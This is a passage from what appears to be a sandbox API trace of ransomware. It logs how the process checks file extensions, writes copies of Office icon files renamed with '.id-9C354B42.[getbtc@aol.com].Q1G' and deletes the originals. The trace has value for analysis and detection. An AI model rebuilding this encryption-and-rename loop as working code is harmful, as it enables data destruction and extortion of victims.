(lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.635] lstrlenW (lpString=".jpg") returned 4 [0265.635] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.635] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.635] lstrlenW (lpString="SessionOwner.ico") returned 16 [0265.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.636] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2550) returned 1 [0265.636] CloseHandle (hObject=0x1f8) returned 1 [0265.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico")) returned 0x20 [0265.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.637] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.637] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.637] GetLastError () returned 0x0 [0265.637] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9f6, lpOverlapped=0x0) returned 1 [0265.711] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0265.711] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.712] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0265.712] SetEndOfFile (hFile=0x360) returned 1 [0265.712] CloseHandle (hObject=0x360) returned 1 [0265.712] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.712] SetEndOfFile (hFile=0x1f8) returned 1 [0265.714] CloseHandle (hObject=0x1f8) returned 1 [0265.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico")) returned 1 [0265.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.762] lstrlenW (lpString=".doc") returned 4 [0265.762] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.763] lstrlenW (lpString=".docx") returned 5 [0265.763] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.763] lstrlenW (lpString=".pdf") returned 4 [0265.763] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString=".xls") returned 4 [0265.763] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString=".xlsx") returned 5 [0265.763] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.763] lstrlenW (lpString=".ppt") returned 4 [0265.763] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString=".zip") returned 4 [0265.763] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString=".rar") returned 4 [0265.763] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString=".bz2") returned 4 [0265.763] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.763] lstrlenW (lpString=".7z") returned 3 [0265.763] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString=".dbf") returned 4 [0265.763] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString=".1cd") returned 4 [0265.763] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString=".jpg") returned 4 [0265.763] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.763] lstrlenW (lpString=".doc") returned 4 [0265.763] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.763] lstrlenW (lpString=".docx") returned 5 [0265.763] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.763] lstrlenW (lpString=".pdf") returned 4 [0265.764] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.764] lstrlenW (lpString=".xls") returned 4 [0265.764] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.764] lstrlenW (lpString=".xlsx") returned 5 [0265.764] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.764] lstrlenW (lpString=".ppt") returned 4 [0265.764] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.764] lstrlenW (lpString=".zip") returned 4 [0265.764] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.764] lstrlenW (lpString=".rar") returned 4 [0265.764] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.764] lstrlenW (lpString=".bz2") returned 4 [0265.764] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.764] lstrlenW (lpString=".7z") returned 3 [0265.764] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.764] lstrlenW (lpString=".dbf") returned 4 [0265.764] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.764] lstrlenW (lpString=".1cd") returned 4 [0265.764] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned 76 [0265.764] lstrlenW (lpString=".jpg") returned 4 [0265.764] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.764] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.764] lstrlenW (lpString="StatusDoNotDisturb.ico") returned 22 [0265.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.772] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2862) returned 1 [0265.772] CloseHandle (hObject=0x37c) returned 1 [0265.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico")) returned 0x20 [0265.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.805] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.805] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.810] GetLastError () returned 0x0 [0265.810] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.812] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.813] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.813] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x100, lpOverlapped=0x0) returned 1 [0265.813] SetEndOfFile (hFile=0x360) returned 1 [0265.813] CloseHandle (hObject=0x360) returned 1 [0265.813] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.813] SetEndOfFile (hFile=0x1f8) returned 1 [0265.816] CloseHandle (hObject=0x1f8) returned 1 [0265.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico")) returned 1 [0265.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.829] lstrlenW (lpString=".doc") returned 4 [0265.829] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.830] lstrlenW (lpString=".docx") returned 5 [0265.830] lstrcmpiW (lpString1=".docx", lpString2="b.ico") returned -1 [0265.830] lstrlenW (lpString=".pdf") returned 4 [0265.830] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString=".xls") returned 4 [0265.830] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString=".xlsx") returned 5 [0265.830] lstrcmpiW (lpString1=".xlsx", lpString2="b.ico") returned -1 [0265.830] lstrlenW (lpString=".ppt") returned 4 [0265.830] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString=".zip") returned 4 [0265.830] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString=".rar") returned 4 [0265.830] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString=".bz2") returned 4 [0265.830] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.830] lstrlenW (lpString=".7z") returned 3 [0265.830] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString=".dbf") returned 4 [0265.830] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString=".1cd") returned 4 [0265.830] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString=".jpg") returned 4 [0265.830] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.830] lstrlenW (lpString=".doc") returned 4 [0265.830] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.830] lstrlenW (lpString=".docx") returned 5 [0265.830] lstrcmpiW (lpString1=".docx", lpString2="b.ico") returned -1 [0265.830] lstrlenW (lpString=".pdf") returned 4 [0265.830] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.830] lstrlenW (lpString=".xls") returned 4 [0265.831] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.831] lstrlenW (lpString=".xlsx") returned 5 [0265.831] lstrcmpiW (lpString1=".xlsx", lpString2="b.ico") returned -1 [0265.831] lstrlenW (lpString=".ppt") returned 4 [0265.831] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.831] lstrlenW (lpString=".zip") returned 4 [0265.831] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.831] lstrlenW (lpString=".rar") returned 4 [0265.831] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.831] lstrlenW (lpString=".bz2") returned 4 [0265.831] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.831] lstrlenW (lpString=".7z") returned 3 [0265.831] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.831] lstrlenW (lpString=".dbf") returned 4 [0265.831] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.831] lstrlenW (lpString=".1cd") returned 4 [0265.831] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned 82 [0265.831] lstrlenW (lpString=".jpg") returned 4 [0265.831] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.831] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.831] lstrlenW (lpString="TOOLICON.ICO") returned 12 [0265.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.832] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10134) returned 1 [0265.832] CloseHandle (hObject=0x3e0) returned 1 [0265.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico")) returned 0x20 [0265.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.834] GetLastError () returned 0x0 [0265.834] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2796, lpOverlapped=0x0) returned 1 [0265.836] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0265.836] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.836] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.837] SetEndOfFile (hFile=0x39c) returned 1 [0265.837] CloseHandle (hObject=0x39c) returned 1 [0265.837] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.837] SetEndOfFile (hFile=0x3e0) returned 1 [0265.839] CloseHandle (hObject=0x3e0) returned 1 [0265.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico")) returned 1 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.840] lstrlenW (lpString=".doc") returned 4 [0265.840] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.840] lstrlenW (lpString=".docx") returned 5 [0265.840] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0265.840] lstrlenW (lpString=".pdf") returned 4 [0265.840] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.840] lstrlenW (lpString=".xls") returned 4 [0265.840] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.840] lstrlenW (lpString=".xlsx") returned 5 [0265.840] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0265.840] lstrlenW (lpString=".ppt") returned 4 [0265.840] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.840] lstrlenW (lpString=".zip") returned 4 [0265.840] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.840] lstrlenW (lpString=".rar") returned 4 [0265.840] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.840] lstrlenW (lpString=".bz2") returned 4 [0265.840] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.840] lstrlenW (lpString=".7z") returned 3 [0265.840] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.840] lstrlenW (lpString=".dbf") returned 4 [0265.840] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.840] lstrlenW (lpString=".1cd") returned 4 [0265.840] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".jpg") returned 4 [0265.841] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".doc") returned 4 [0265.841] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.841] lstrlenW (lpString=".docx") returned 5 [0265.841] lstrcmpiW (lpString1=".docx", lpString2="N.ICO") returned -1 [0265.841] lstrlenW (lpString=".pdf") returned 4 [0265.841] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString=".xls") returned 4 [0265.841] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString=".xlsx") returned 5 [0265.841] lstrcmpiW (lpString1=".xlsx", lpString2="N.ICO") returned -1 [0265.841] lstrlenW (lpString=".ppt") returned 4 [0265.841] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".zip") returned 4 [0265.841] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString=".rar") returned 4 [0265.841] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.841] lstrlenW (lpString=".bz2") returned 4 [0265.841] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.841] lstrlenW (lpString=".7z") returned 3 [0265.841] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".dbf") returned 4 [0265.841] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".1cd") returned 4 [0265.841] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned 72 [0265.841] lstrlenW (lpString=".jpg") returned 4 [0265.841] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.842] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 